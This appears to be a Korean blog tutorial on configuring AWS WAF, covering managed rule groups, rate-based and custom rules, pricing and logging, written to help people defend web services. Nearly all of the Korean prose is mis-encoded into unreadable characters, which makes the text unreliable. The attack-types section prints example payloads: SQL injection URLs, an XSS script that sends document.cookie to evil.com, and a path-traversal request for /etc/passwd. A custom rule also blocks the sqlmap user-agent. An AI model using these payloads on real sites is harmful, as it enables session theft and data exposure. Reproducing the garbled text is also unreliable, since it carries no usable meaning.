Ver3.5 ๐ก๏ธ AWS WAF๋ก ์น ๊ณต๊ฒฉ ์ฐจ๋จํ๊ธฐ โ ๋ด ์๋น์ค๋ฅผ ์งํค๋ ํด๋ผ์ฐ๋ ๋ฐฉํจ ์์ ์ ๋ณต

๐ก๏ธ AWS WAF๋ก ์น ๊ณต๊ฒฉ ์ฐจ๋จํ๊ธฐ โ ๋ด ์๋น์ค๋ฅผ ์งํค๋ ํด๋ผ์ฐ๋ ๋ฐฉํจ ์์ ์ ๋ณต
SQL Injection๋ถํฐ DDoS๊น์ง, AWS WAF ํ๋๋ก ๋ง์๋ฒ๋ฆฌ๋ ์ค์ ๊ฐ์ด๋ ๐ฅ
์ผ, ์์งํ ๋งํด๋ด. ๐ค ์๋น์ค ํ๋ ์ด์ฌํ ๋ง๋ค์ด์ ๋ฐฐํฌํ๋๋ฐ ๊ฐ์๊ธฐ ์๋ฒ๊ฐ ๋ป๊ฑฐ๋, ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ํธ๋ฆฌ๊ฑฐ๋, ์ด์ํ ๋ด๋ค์ด ์ฐ๋ฅด๋ฅด ๋ชฐ๋ ค์ค๋ ๊ฒฝํ ํด๋ณธ ์ ์์ด? ์๋๋ฉด ์์ง ์์ด์ ๋คํ์ด๋ผ๊ณ ์๊ฐํ๊ณ ์์ด?
์น ์๋น์ค๋ฅผ ์ด์ํ๋ค๋ ๊ฑด ๊ทธ๋ฅ ์ฝ๋ ์ง๊ณ ๋ฐฐํฌํ๋ ๊ฒ ๋์ด ์๋์ผ. ์ธํฐ๋ท์ ์๋น์ค๋ฅผ ์ฌ๋ฆฌ๋ ์๊ฐ, ์ ์ธ๊ณ ํด์ปค๋ค๊ณผ ๋ด๋ค์ ๋ ์ด๋์ ์กํ๋ ๊ฑฐ๊ฑฐ๋ . ๋ฌด์ญ์ง? ๊ทผ๋ฐ ๋๋ฌด ๊ฑฑ์ ํ์ง ๋ง. AWS์๋ WAF(Web Application Firewall)๋ผ๋ ๋ ๋ ํ ๋ฐฉํจ๊ฐ ์์ผ๋๊น! ๐ก๏ธ
์ค๋์ AWS WAF๊ฐ ๋ญ์ง, ์ด๋ป๊ฒ ์ค์ ํ๋์ง, ์ค์ ๋ก ์ด๋ค ๊ณต๊ฒฉ์ ๋ง์ ์ ์๋์ง โ ์ฒ์ ์ ํ๋ ์ฌ๋๋ ์ดํดํ ์ ์๊ฒ ์น๊ตฌ์ฒ๋ผ ์ฝ๊ณ ์ฌ๋ฏธ์๊ฒ ์ค๋ช ํด์ค๊ฒ. ๋๊น์ง ์ฝ์ผ๋ฉด ์ง์ง๋ก AWS WAF ์ค์ ํ ์ ์์ ๊ฑฐ์ผ. ๊ฐ๋ณด์๊ณ ! ๐
๐ค WAF๊ฐ ๋ญ๋ฐ? ์ผ๋ฐ ๋ฐฉํ๋ฒฝ์ด๋ ๋ค๋ฅธ ๊ฑฐ์ผ?
๋จผ์ ๊ฐ๋ ๋ถํฐ ์ก๊ณ ๊ฐ์. WAF๋ Web Application Firewall์ ์ฝ์์ผ. ์ด๋ฆ์์ ์ ์ ์๋ฏ์ด ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ํ ๋ฐฉํ๋ฒฝ์ด์ผ.
๊ทผ๋ฐ ์ฌ๊ธฐ์ "๋ฐฉํ๋ฒฝ์ด๋ฉด ๊ทธ๋ฅ ๋ฐฉํ๋ฒฝ์ด์ง, ์ ์น ์ ์ฉ์ด ๋ฐ๋ก ์์ด?" ๋ผ๊ณ ๋ฌผ์ด๋ณผ ์ ์์์. ์ข์ ์ง๋ฌธ์ด์ผ! ๐
์ผ๋ฐ ๋ฐฉํ๋ฒฝ vs WAF โ ๋ญ๊ฐ ๋ค๋ฅผ๊น?
| ๊ตฌ๋ถ | ์ผ๋ฐ ๋ฐฉํ๋ฒฝ (Network Firewall) | WAF (Web Application Firewall) |
|---|---|---|
| ๋์ ๊ณ์ธต | OSI 3~4๊ณ์ธต (IP, TCP/UDP) | OSI 7๊ณ์ธต (HTTP/HTTPS) |
| ๊ฒ์ฌ ๋์ | IP ์ฃผ์, ํฌํธ, ํ๋กํ ์ฝ | HTTP ํค๋, URL, ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ, ๋ฐ๋ |
| ์ฐจ๋จ ๊ฐ๋ฅํ ๊ณต๊ฒฉ | ํฌํธ ์ค์บ, ๋คํธ์ํฌ ์นจ์ | SQL Injection, XSS, CSRF, ๋ด ๋ฑ |
| ํ๊ณ | HTTP 80/443 ํฌํธ๋ ์ด์ด์ผ ํด์ ์น ๊ณต๊ฒฉ ๋ชป ๋ง์ | ๋คํธ์ํฌ ๋ ๋ฒจ ๊ณต๊ฒฉ์ ๋ณ๋ ์ฒ๋ฆฌ ํ์ |
์ฝ๊ฒ ๋งํ๋ฉด ์ด๋. ์ผ๋ฐ ๋ฐฉํ๋ฒฝ์ "์ด๋ค ๋ฌธ์ผ๋ก ๋ค์ด์ค๋"๋ฅผ ์ฒดํฌํ๋ ๊ฑฐ๊ณ , WAF๋ "๋ฌธ์ผ๋ก ๋ค์ด์จ ์ฌ๋์ด ๋ญ ๋ค๊ณ ์๋"๋ฅผ ๊ฒ์ฌํ๋ ๊ฑฐ์ผ. ์น ์๋น์ค๋ HTTP(S) ํฌํธ๋ฅผ ๋ฌด์กฐ๊ฑด ์ด์ด์ผ ํ๋๊น, ๊ทธ ํฌํธ๋ก ๋ค์ด์ค๋ ์ ์ฑ ์์ฒญ์ ์ก์ผ๋ ค๋ฉด WAF๊ฐ ํ์์ธ ๊ฑฐ์ง!
WAF๋ HTTP ์์ฒญ์ ๋ด์ฉ์ ๋ถ์ํด์ ์ ์ฑ ํจํด์ ํ์งํ๊ณ ์ฐจ๋จํด. SQL Injection์ฒ๋ผ ์ ์์ ์ธ HTTP ํฌํธ(80/443)๋ฅผ ํตํด ๋ค์ด์ค๋ ๊ณต๊ฒฉ์ ์ผ๋ฐ ๋ฐฉํ๋ฒฝ์ผ๋ก๋ ์ ๋ ๋ง์ ์ ์์ด. WAF๊ฐ ๋ฐ๋์ ํ์ํ ์ด์ ์ผ!
โ๏ธ AWS WAF๋ ๋ฌด์์ธ๊ฐ โ ํต์ฌ ๊ฐ๋ ์ ๋ฆฌ
AWS WAF๋ Amazon Web Services์์ ์ ๊ณตํ๋ ๊ด๋ฆฌํ ์น ์ ํ๋ฆฌ์ผ์ด์ ๋ฐฉํ๋ฒฝ ์๋น์ค์ผ. 2015๋ ์ ์ฒ์ ์ถ์๋๊ณ , 2019๋ ์ WAF v2(ํ์ฌ ๋ฒ์ )๋ก ๋ํญ ์ ๊ทธ๋ ์ด๋๋์ด.
AWS WAF์ ๊ฐ์ฅ ํฐ ์ฅ์ ์ ์๋ฒ๋ฆฌ์ค(Serverless)๋ผ๋ ๊ฑฐ์ผ. ๋ณ๋์ ๋ฐฉํ๋ฒฝ ์๋ฒ๋ฅผ ์ด์ํ ํ์ ์์ด, AWS ์ธํ๋ผ์ ํตํฉ๋์ด ์๋์ผ๋ก ์ค์ผ์ผ๋ง๋๋ฉด์ ๋์ํด. ํธ๋ํฝ์ด ํญ๋ฐ์ ์ผ๋ก ๋์ด๋๋ WAF๊ฐ ์์์ ์ฒ๋ฆฌํด์ฃผ๋ ๊ฑฐ์ง. ๐
AWS WAF์ ํต์ฌ ๊ตฌ์ฑ ์์
WAF์ ํต์ฌ ๋จ์์ผ. ์ฌ๋ฌ ๊ท์น(Rule)๋ค์ ๋ฌถ์ด์ ํ๋์ ์ ์ฑ ์ผ๋ก ๋ง๋ ๊ฒ. CloudFront, ALB, API Gateway ๋ฑ์ ์ฐ๊ฒฐํด์ ์ฌ์ฉํด. ๊ฐ Web ACL์ ์ต๋ 1,500 WCU(WAF Capacity Units)๋ฅผ ๊ฐ์ง ์ ์์ด.
์ค์ ๋ก ํธ๋ํฝ์ ๊ฒ์ฌํ๊ณ ์ฐจ๋จ/ํ์ฉํ๋ ๋ก์ง์ด์ผ. ์กฐ๊ฑด(Statement)๊ณผ ์ก์ (Action)์ผ๋ก ๊ตฌ์ฑ๋ผ. ์๋ฅผ ๋ค์ด "SQL Injection ํจํด์ด ์์ผ๋ฉด โ ์ฐจ๋จ(Block)" ์ด๋ฐ ์์ด์ผ.
์ฌ๋ฌ Rule์ ํ๋๋ก ๋ฌถ์ ๊ฒ. AWS์์ ์ ๊ณตํ๋ ๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน(Managed Rule Group)์ ์ฌ์ฉํ๊ฑฐ๋, ์ง์ ์ปค์คํ ๊ท์น ๊ทธ๋ฃน์ ๋ง๋ค ์ ์์ด.
์ฐจ๋จํ๊ฑฐ๋ ํ์ฉํ IP ์ฃผ์ ๋ชฉ๋ก์ด์ผ. IPv4, IPv6 ๋ชจ๋ ์ง์ํ๊ณ , CIDR ํ๊ธฐ๋ฒ๋ ์ฌ์ฉ ๊ฐ๋ฅํด.
์ ๊ทํํ์ ํจํด ๋ชฉ๋ก์ด์ผ. ํน์ ํจํด์ ๊ฐ์ง ์์ฒญ์ ํ์งํ ๋ ์ฌ์ฉํด.
AWS WAF๊ฐ ์ฐ๋๋๋ ์๋น์ค๋ค
AWS WAF๋ ๋จ๋ ์ผ๋ก ๋์ํ๋ ๊ฒ ์๋๋ผ, ๋ค๋ฅธ AWS ์๋น์ค์ ์ฐ๋ํด์ ์ฌ์ฉํด. ์ฐ๋ ๊ฐ๋ฅํ ์๋น์ค๋ค์ ์์๋ณด์:
| ์ฐ๋ ์๋น์ค | ์ค๋ช | WAF ์ ์ฉ ์์น |
|---|---|---|
| Amazon CloudFront | ๊ธ๋ก๋ฒ CDN ์๋น์ค | ์ฃ์ง ๋ก์ผ์ด์ ์์ ์ฐจ๋จ (๊ฐ์ฅ ๋น ๋ฆ) |
| ALB (Application Load Balancer) | ์ ํ๋ฆฌ์ผ์ด์ ๋ก๋๋ฐธ๋ฐ์ | ๋ฆฌ์ ๋ ๋ฒจ์์ ์ฐจ๋จ |
| API Gateway | REST/HTTP API ๊ด๋ฆฌ | API ์๋ํฌ์ธํธ ๋ณดํธ |
| AWS App Runner | ์ปจํ ์ด๋ ์ฑ ์คํ ์๋น์ค | ์ฑ ๋ ๋ฒจ ๋ณดํธ |
| AWS Cognito User Pool | ์ฌ์ฉ์ ์ธ์ฆ ์๋น์ค | ์ธ์ฆ ์๋ํฌ์ธํธ ๋ณดํธ |
| AWS AppSync | GraphQL API ์๋น์ค | GraphQL ์๋ํฌ์ธํธ ๋ณดํธ |
๐ฅ AWS WAF๊ฐ ๋ง์ ์ ์๋ ์ฃผ์ ๊ณต๊ฒฉ ์ ํ
์, ์ด์ ์ค์ ์ด์ผ. AWS WAF๊ฐ ์ค์ ๋ก ์ด๋ค ๊ณต๊ฒฉ๋ค์ ๋ง์ ์ ์๋์ง ์์๋ณด์. ์ด๊ฑธ ์์์ผ ๋์ค์ ๊ท์น ์ค์ ํ ๋ ๋ญ ์ผ์ผ ํ ์ง ์ ์ ์๊ฑฐ๋ !
๐ SQL Injection (SQLi)
๊ฐ์ฅ ๊ณ ์ ์ ์ด๋ฉด์๋ ์ฌ์ ํ ์ํํ ๊ณต๊ฒฉ์ด์ผ. ์น ํผ์ด๋ URL ํ๋ผ๋ฏธํฐ์ SQL ์ฝ๋๋ฅผ ์ฝ์ ํด์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์กฐ์ํ๋ ๊ฑฐ์ผ.
https://example.com/user?id=1 OR 1=1 --https://example.com/login?user=admin'--&pass=anything์ด๋ฐ ์์ฒญ์ด ๋ค์ด์ค๋ฉด ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ชจ๋ ์ฌ์ฉ์ ์ ๋ณด๊ฐ ์ ์ถ๋ ์ ์์ด!
AWS WAF์ AWSManagedRulesSQLiRuleSet์ ํ์ฑํํ๋ฉด ์ด๋ฐ ํจํด์ ์๋์ผ๋ก ํ์งํ๊ณ ์ฐจ๋จํด์ค.
๐ท๏ธ Cross-Site Scripting (XSS)
์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์น ํ์ด์ง์ ์ฝ์ ํด์ ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํ์ํค๋ ๊ณต๊ฒฉ์ด์ผ. ์ฟ ํค ํ์ทจ, ์ธ์ ํ์ด์ฌํน ๋ฑ์ ์ฌ์ฉ๋ผ.
https://example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>์ด๋ฐ URL์ ๋ค๋ฅธ ์ฌ์ฉ์์๊ฒ ํด๋ฆญํ๊ฒ ๋ง๋ค๋ฉด ์ฟ ํค๊ฐ ํ์ทจ๋ผ!
AWSManagedRulesKnownBadInputsRuleSet๊ณผ ์ปค์คํ XSS ๊ท์น์ผ๋ก ๋ง์ ์ ์์ด.
๐ค ๋ด ํธ๋ํฝ & DDoS
์๋ํ๋ ๋ด๋ค์ด ๋๋์ ์์ฒญ์ ๋ณด๋ด์ ์๋ฒ๋ฅผ ๋ง๋น์ํค๊ฑฐ๋, ํฌ๋ฆฌ๋ด์ ์คํฐํ(Credential Stuffing) ๊ณต๊ฒฉ์ ํ๋ ๊ฑฐ์ผ. AWS WAF์ Rate-based Rule๋ก ํน์ IP์์ ์ผ์ ์๊ฐ ๋ด ์์ฒญ ์๋ฅผ ์ ํํ ์ ์์ด.
๐ Path Traversal (๊ฒฝ๋ก ํ์ ๊ณต๊ฒฉ)
URL์ ../ ๊ฐ์ ๊ฒฝ๋ก ํ์ ๋ฌธ์๋ฅผ ์ฝ์
ํด์ ์๋ฒ์ ๋ฏผ๊ฐํ ํ์ผ์ ์ ๊ทผํ๋ ค๋ ๊ณต๊ฒฉ์ด์ผ.
https://example.com/files?name=../../../../etc/passwd์๋ฒ์ ํจ์ค์๋ ํ์ผ์ ์ ๊ทผํ๋ ค๋ ์๋์ผ!
๐ ์ง์ญ ๊ธฐ๋ฐ ์ฐจ๋จ (Geo Restriction)
์๋น์ค๋ฅผ ํน์ ๊ตญ๊ฐ์์๋ง ์ด์ํ๋ค๋ฉด, ๋ค๋ฅธ ๊ตญ๊ฐ์ ํธ๋ํฝ์ ์์ ์ฐจ๋จํ ์ ์์ด. ์๋ฅผ ๋ค์ด ํ๊ตญ ์๋น์ค์ธ๋ฐ ๋์ ๋ฝ์ด๋ ํน์ ๊ตญ๊ฐ์์ ๊ณต๊ฒฉ์ด ๋ง์ด ์จ๋ค๋ฉด ํด๋น ๊ตญ๊ฐ IP๋ฅผ ํต์งธ๋ก ์ฐจ๋จํ๋ ๊ฑฐ์ผ.
๐ ํฌ๋ฆฌ๋ด์ ์คํฐํ & ๋ธ๋ฃจํธ ํฌ์ค
๋ก๊ทธ์ธ ํ์ด์ง์ ์์ฒ ๊ฐ์ ์์ด๋/ํจ์ค์๋ ์กฐํฉ์ ์๋์ผ๋ก ์๋ํ๋ ๊ณต๊ฒฉ์ด์ผ. Rate-based Rule๊ณผ AWS WAF Bot Control ๊ธฐ๋ฅ์ผ๋ก ๋ง์ ์ ์์ด.
๐ฆ AWS ๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน โ ์ด๊ฒ๋ง ์๋ฉด ๋ฐ์ ๋จน๊ณ ๋ค์ด๊ฐ
AWS WAF์ ๊ฐ์ฅ ๊ฐ๋ ฅํ ๊ธฐ๋ฅ ์ค ํ๋๊ฐ ๋ฐ๋ก ๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน(Managed Rule Group)์ด์ผ. AWS๊ฐ ์ง์ ๊ด๋ฆฌํ๊ณ ์ ๋ฐ์ดํธํ๋ ๊ท์น ์ธํธ๋ค์ธ๋ฐ, ๋ณด์ ์ ๋ฌธ๊ฐ๊ฐ ์๋์ด๋ ์ฝ๊ฒ ์ ์ฉํ ์ ์์ด. ๐
AWS ๋ฌด๋ฃ ๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน
์๋ ๊ท์น๋ค์ ์ถ๊ฐ ๋น์ฉ ์์ด ์ฌ์ฉํ ์ ์์ด! (WAF ๊ธฐ๋ณธ ์๊ธ๋ง ๋ด๋ฉด ๋ผ)
| ๊ท์น ๊ทธ๋ฃน ์ด๋ฆ | ์ค๋ช | WCU |
|---|---|---|
| AWSManagedRulesCommonRuleSet | OWASP Top 10 ๊ธฐ๋ฐ ์ผ๋ฐ์ ์ธ ์น ๊ณต๊ฒฉ ์ฐจ๋จ. ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ ๊ท์น ์ธํธ์ผ. ๋๋ถ๋ถ์ ์๋น์ค์ ํ์! | 700 |
| AWSManagedRulesAdminProtectionRuleSet | ๊ด๋ฆฌ์ ํ์ด์ง(/admin, /wp-admin ๋ฑ) ์ธ๋ถ ์ ๊ทผ ์ฐจ๋จ | 100 |
| AWSManagedRulesKnownBadInputsRuleSet | ์๋ ค์ง ์ ์ฑ ์ ๋ ฅ ํจํด ์ฐจ๋จ (Log4j ์ทจ์ฝ์ ํฌํจ!) | 200 |
| AWSManagedRulesSQLiRuleSet | SQL Injection ๊ณต๊ฒฉ ์ฐจ๋จ | 200 |
| AWSManagedRulesLinuxRuleSet | Linux ์๋ฒ ๋์ ๊ณต๊ฒฉ ์ฐจ๋จ (๊ฒฝ๋ก ํ์ ๋ฑ) | 200 |
| AWSManagedRulesUnixRuleSet | Unix/Linux ํนํ ๊ณต๊ฒฉ ํจํด ์ฐจ๋จ | 100 |
| AWSManagedRulesWindowsRuleSet | Windows ์๋ฒ ๋์ ๊ณต๊ฒฉ ์ฐจ๋จ (PowerShell ์ธ์ ์ ๋ฑ) | 200 |
| AWSManagedRulesPHPRuleSet | PHP ์ ํ๋ฆฌ์ผ์ด์ ๋์ ๊ณต๊ฒฉ ์ฐจ๋จ | 100 |
| AWSManagedRulesWordPressRuleSet | WordPress ์ทจ์ฝ์ ๊ณต๊ฒฉ ์ฐจ๋จ | 100 |
| AWSManagedRulesAmazonIpReputationList | Amazon์ด ๊ด๋ฆฌํ๋ ์ ์ฑ IP ๋ชฉ๋ก ์ฐจ๋จ (๋ด, ํด์ปค IP ๋ฑ) | 25 |
| AWSManagedRulesAnonymousIpList | VPN, Tor, ํ๋ก์ ๋ฑ ์ต๋ช IP ์ฐจ๋จ | 50 |
์ ๋ฃ ๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน (AWS Marketplace)
AWS Marketplace์์๋ ๋ณด์ ์ ๋ฌธ ์ ์ฒด๋ค์ด ์ ๊ณตํ๋ ์ ๋ฃ ๊ท์น ๊ทธ๋ฃน๋ ์์ด. Fortinet, F5, Imperva ๊ฐ์ ๋ณด์ ์ ๋ฌธ ์ ์ฒด๋ค์ด ๋ ์ ๊ตํ ๊ท์น์ ์ ๊ณตํด. ์ํฐํ๋ผ์ด์ฆ ๋ ๋ฒจ์ ๋ณด์์ด ํ์ํ๋ค๋ฉด ๊ณ ๋ คํด๋ณผ ๋งํด.
๊ทธ๋ฆฌ๊ณ AWS WAF Bot Control์ด๋ผ๋ ์ ๋ฃ ๊ธฐ๋ฅ๋ ์๋๋ฐ, ์ด๊ฑด ๋ด ํธ๋ํฝ์ ๋ ์ ๊ตํ๊ฒ ๋ถ์ํ๊ณ ์ฐจ๋จํด์ค. ์ผ๋ฐ ๋ด, ๊ฒ์ ์์ง ๋ด, ์ ์ฑ ๋ด์ ๊ตฌ๋ถํด์ ์ฒ๋ฆฌํ ์ ์์ด.
๐ ๏ธ AWS WAF ์ค์ ์ค์ ํ๊ธฐ โ ๋จ๊ณ๋ณ ๊ฐ์ด๋
์, ์ด์ ์ง์ง ์ค์ ์ด์ผ! AWS ์ฝ์์์ WAF๋ฅผ ์ค์ ํ๋ ๋ฐฉ๋ฒ์ ๋จ๊ณ๋ณ๋ก ์์๋ณด์. CloudFront์ WAF๋ฅผ ์ฐ๊ฒฐํ๋ ์๋๋ฆฌ์ค๋ก ์ค๋ช ํ ๊ฒ.
Step 1: Web ACL ์์ฑ
- CloudFront distributions โ us-east-1 ๋ฆฌ์ ์๋ ์ ํ
- Regional resources (ALB, API Gateway ๋ฑ) โ ํด๋น ๋ฆฌ์ ์ ํ
my-service-waf)CloudWatch metric name์ ์๋ ์์ฑ๋๊ฑฐ๋ ์ง์ ์ ๋ ฅ
Step 2: ๊ท์น ์ถ๊ฐ
์ถ์ฒ ์กฐํฉ: CommonRuleSet + SQLiRuleSet + KnownBadInputsRuleSet + AmazonIpReputationList
Step 3: Rate-based Rule ์ถ๊ฐ (DDoS ๋ฐฉ์ด)
Name:
RateLimitRuleRate limit: 2000 (5๋ถ ๋ด 2,000 ์์ฒญ ์ด๊ณผ ์ ์ฐจ๋จ)
IP address to use: Source IP address
Step 4: ๊ท์น ์ฐ์ ์์ ์ค์
๊ท์น๋ค์ ์ฐ์ ์์(Priority) ์์๋๋ก ์คํ๋ผ. ์ซ์๊ฐ ๋ฎ์์๋ก ๋จผ์ ์คํ๋๊ณ , ์ฒซ ๋ฒ์งธ๋ก ๋งค์นญ๋ ๊ท์น์ ์ก์ ์ด ์ ์ฉ๋ผ. ์ผ๋ฐ์ ์ผ๋ก ์ด๋ฐ ์์๋ฅผ ์ถ์ฒํด:
| ์ฐ์ ์์ | ๊ท์น | ์ด์ |
|---|---|---|
| 1 | IP ํ์ฉ ๋ชฉ๋ก (Allow) | ์ ๋ขฐํ ์ ์๋ IP๋ ๋ค๋ฅธ ๊ท์น ๊ฒ์ฌ ์์ด ํต๊ณผ |
| 2 | IP ์ฐจ๋จ ๋ชฉ๋ก (Block) | ์๋ ค์ง ์ ์ฑ IP ์ฆ์ ์ฐจ๋จ |
| 3 | Rate-based Rule | DDoS ํธ๋ํฝ ์กฐ๊ธฐ ์ฐจ๋จ |
| 4 | AmazonIpReputationList | AWS ์ ์ฑ IP ๋ชฉ๋ก ์ฐจ๋จ |
| 5 | CommonRuleSet | ์ผ๋ฐ์ ์ธ ์น ๊ณต๊ฒฉ ์ฐจ๋จ |
| 6 | SQLiRuleSet | SQL Injection ์ฐจ๋จ |
| 7 | KnownBadInputsRuleSet | ์๋ ค์ง ์ ์ฑ ์ ๋ ฅ ์ฐจ๋จ |
Step 5: ๊ธฐ๋ณธ ์ก์ ์ค์
๋ชจ๋ ๊ท์น์ ๋งค์นญ๋์ง ์์ ์์ฒญ์ ๋ํ ๊ธฐ๋ณธ ์ก์ ์ ์ค์ ํด. ์ผ๋ฐ์ ์ผ๋ก Allow๋ก ์ค์ ํด (์ ์ ํธ๋ํฝ์ ํต๊ณผ์์ผ์ผ ํ๋๊น). ๋ง์ฝ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์์ผ๋ก ์ด์ํ๊ณ ์ถ๋ค๋ฉด Block์ผ๋ก ์ค์ ํ๊ณ ํ์ฉ ๊ท์น๋ง ์ถ๊ฐํ๋ ๋ฐฉ์๋ ์์ด.
Step 6: ๋ก๊น ์ค์ (๋งค์ฐ ์ค์!)
WAF ๋ก๊ทธ๋ฅผ ํ์ฑํํด์ผ ์ด๋ค ์์ฒญ์ด ์ฐจ๋จ๋๋์ง ํ์ธํ ์ ์์ด. ๋ก๊ทธ๋ Amazon Kinesis Data Firehose๋ฅผ ํตํด S3์ ์ ์ฅํ๊ฑฐ๋, CloudWatch Logs์ ์ง์ ์ ์ฅํ ์ ์์ด.
Logging destination: CloudWatch Logs ๋๋ S3 ์ ํ
๋ก๊ทธ ํํฐ๋ง: ์ฐจ๋จ๋ ์์ฒญ๋ง ๋ก๊น ํ๊ฑฐ๋ ์ ์ฒด ๋ก๊น ์ ํ ๊ฐ๋ฅ
โ๏ธ ์ปค์คํ ๊ท์น ๋ง๋ค๊ธฐ โ ๋ด ์๋น์ค์ ๋ฑ ๋ง๋ ๊ท์น ์์ฑ๋ฒ
๊ด๋ฆฌํ ๊ท์น์ผ๋ก ๊ธฐ๋ณธ ๋ฐฉ์ด๋ ๋์ด. ๊ทผ๋ฐ ๋ด ์๋น์ค์ ํนํ๋ ๊ท์น์ด ํ์ํ ๋๋ ์์์. ์๋ฅผ ๋ค์ด ํน์ User-Agent๋ฅผ ์ฐจ๋จํ๊ฑฐ๋, ํน์ ๊ฒฝ๋ก์ ๋ํ ์ ๊ทผ์ ์ ํํ๊ฑฐ๋. ์ด๋ด ๋ ์ปค์คํ ๊ท์น์ ๋ง๋ค๋ฉด ๋ผ!
์ปค์คํ ๊ท์น์ ๊ตฌ์ฑ ์์
์ปค์คํ ๊ท์น์ ํฌ๊ฒ ๋ ๋ถ๋ถ์ผ๋ก ๊ตฌ์ฑ๋ผ:
| ๊ตฌ์ฑ ์์ | ์ค๋ช | ์์ |
|---|---|---|
| Statement (์กฐ๊ฑด) | ์ด๋ค ์์ฒญ์ ํ์งํ ์ง ์ ์ | URI์ '/admin' ํฌํจ, ํน์ IP ๋ฒ์, ํค๋ ๊ฐ ๋ฑ |
| Action (์ก์ ) | ์กฐ๊ฑด ๋งค์นญ ์ ์ด๋ค ๋์์ ํ ์ง | Block, Allow, Count, CAPTCHA, Challenge |
Statement ์ ํ๋ค
| Statement ์ ํ | ์ค๋ช |
|---|---|
| IP set match | ํน์ IP ๋๋ IP ๋ฒ์ ๋งค์นญ |
| Geographic match | ํน์ ๊ตญ๊ฐ/์ง์ญ ๋งค์นญ |
| String match | ์์ฒญ์ ํน์ ๋ถ๋ถ์ ๋ฌธ์์ด ํฌํจ ์ฌ๋ถ |
| Regex match | ์ ๊ทํํ์ ํจํด ๋งค์นญ |
| Size constraint | ์์ฒญ ํฌ๊ธฐ ์ ํ (์: ๋ฐ๋ ํฌ๊ธฐ 10MB ์ด๊ณผ ์ฐจ๋จ) |
| SQL injection match | SQL Injection ํจํด ํ์ง |
| XSS match | XSS ํจํด ํ์ง |
| Label match | ๋ค๋ฅธ ๊ท์น์ด ๋ถ์ธ ๋ ์ด๋ธ ๋งค์นญ |
| AND/OR/NOT ๋ ผ๋ฆฌ ์ฐ์ฐ | ์ฌ๋ฌ ์กฐ๊ฑด์ ์กฐํฉ |
์ค์ ์ปค์คํ ๊ท์น ์์๋ค
์์ 1: ๊ด๋ฆฌ์ ํ์ด์ง IP ์ ํ
๊ท์น 1 (Allow, ์ฐ์ ์์ ๋์):
- AND ์กฐ๊ฑด:
ย ย - URI path starts with:
/adminย ย - IP set match: ํ์ฌ IP ๋ชฉ๋ก
- Action: Allow
๊ท์น 2 (Block, ์ฐ์ ์์ ๋ฎ์):
- URI path starts with:
/admin- Action: Block
์์ 2: ํน์ User-Agent ์ฐจ๋จ
- String match
- Inspect: Single header โ
user-agent- Match type: Contains string
- String to match:
sqlmap- Action: Block
์์ 3: ๋์ฉ๋ ์์ฒญ ์ฐจ๋จ
- Size constraint
- Inspect: Body
- Comparison: Greater than
- Size: 10485760 (10MB in bytes)
- Action: Block
์์ 4: ํน์ ๊ตญ๊ฐ ์ฐจ๋จ
- Geographic match
- Country codes: ์ฐจ๋จํ ๊ตญ๊ฐ ์ฝ๋ ์ ํ (์: KP, RU ๋ฑ)
- Action: Block
๐ฐ AWS WAF ์๊ธ ๊ตฌ์กฐ โ ์ผ๋ง๋ ๋๋ ๊ฑฐ์ผ?
๋ณด์์ ์ค์ํ์ง๋ง ๋น์ฉ๋ ๋ฌด์ํ ์ ์์์. AWS WAF์ ์๊ธ ๊ตฌ์กฐ๋ฅผ ๋ช ํํ๊ฒ ์์๋ณด์. (2024๋ ๊ธฐ์ค, ๋ฆฌ์ ๋ณ๋ก ์ฝ๊ฐ ์ฐจ์ด ์์ ์ ์์ด)
| ํญ๋ชฉ | ์๊ธ | ์ค๋ช |
|---|---|---|
| Web ACL | $5.00/์ | Web ACL ํ๋๋น ์ $5 |
| Rule | $1.00/์ | Web ACL์ ์ถ๊ฐ๋ ๊ท์น ํ๋๋น ์ $1 |
| ์์ฒญ ์ฒ๋ฆฌ | $0.60/100๋ง ์์ฒญ | WAF๋ฅผ ํต๊ณผํ๋ ์์ฒญ ์ ๊ธฐ์ค |
| Bot Control (๊ธฐ๋ณธ) | $10.00/์ + $1.00/100๋ง ์์ฒญ | ๋ด ํ์ง ๊ธฐ๋ฅ (์ ํ ์ฌํญ) |
| Bot Control (๊ณ ๊ธ) | $30.00/์ + $1.00/100๋ง ์์ฒญ | ๊ณ ๊ธ ๋ด ํ์ง (์ ํ ์ฌํญ) |
| Fraud Control | $10.00/์ + $1.00/100๋ง ์์ฒญ | ๊ณ์ ํ์ทจ ๋ฐฉ์ง (์ ํ ์ฌํญ) |
- Web ACL: $5.00
- Rules: $5.00 (5๊ฐ ร $1)
- ์์ฒญ: $6.00 (1,000๋ง ร $0.60/100๋ง)
์ด ์ ์ฝ $16 (์ฝ 2๋ง์ ์ด๋ฐ)
๊ด๋ฆฌํ ๊ท์น ๊ทธ๋ฃน์ ๋ฌด๋ฃ์ด๊ณ , ๊ท์น ๊ทธ๋ฃน ์์ฒด๋ 1๊ฐ์ ๊ท์น์ผ๋ก ์นด์ดํธ๋ผ!
๐ WAF ๋ก๊ทธ ๋ถ์ & ๋ชจ๋ํฐ๋ง โ ๊ณต๊ฒฉ ํํฉ ํ์ ํ๊ธฐ
WAF๋ฅผ ์ค์ ํ๋ค๊ณ ๋์ด ์๋์ผ. ์ค์ ๋ก ์ด๋ค ๊ณต๊ฒฉ์ด ๋ค์ด์ค๊ณ ์๋์ง, ์ ์ ํธ๋ํฝ์ด ์๋ชป ์ฐจ๋จ๋๊ณ ์์ง๋ ์์์ง ๊พธ์คํ ๋ชจ๋ํฐ๋งํด์ผ ํด. ์ด๊ฒ ์ง์ง ์ด์์ด์ผ! ๐
CloudWatch ๋ฉํธ๋ฆญ ํ์ฉ
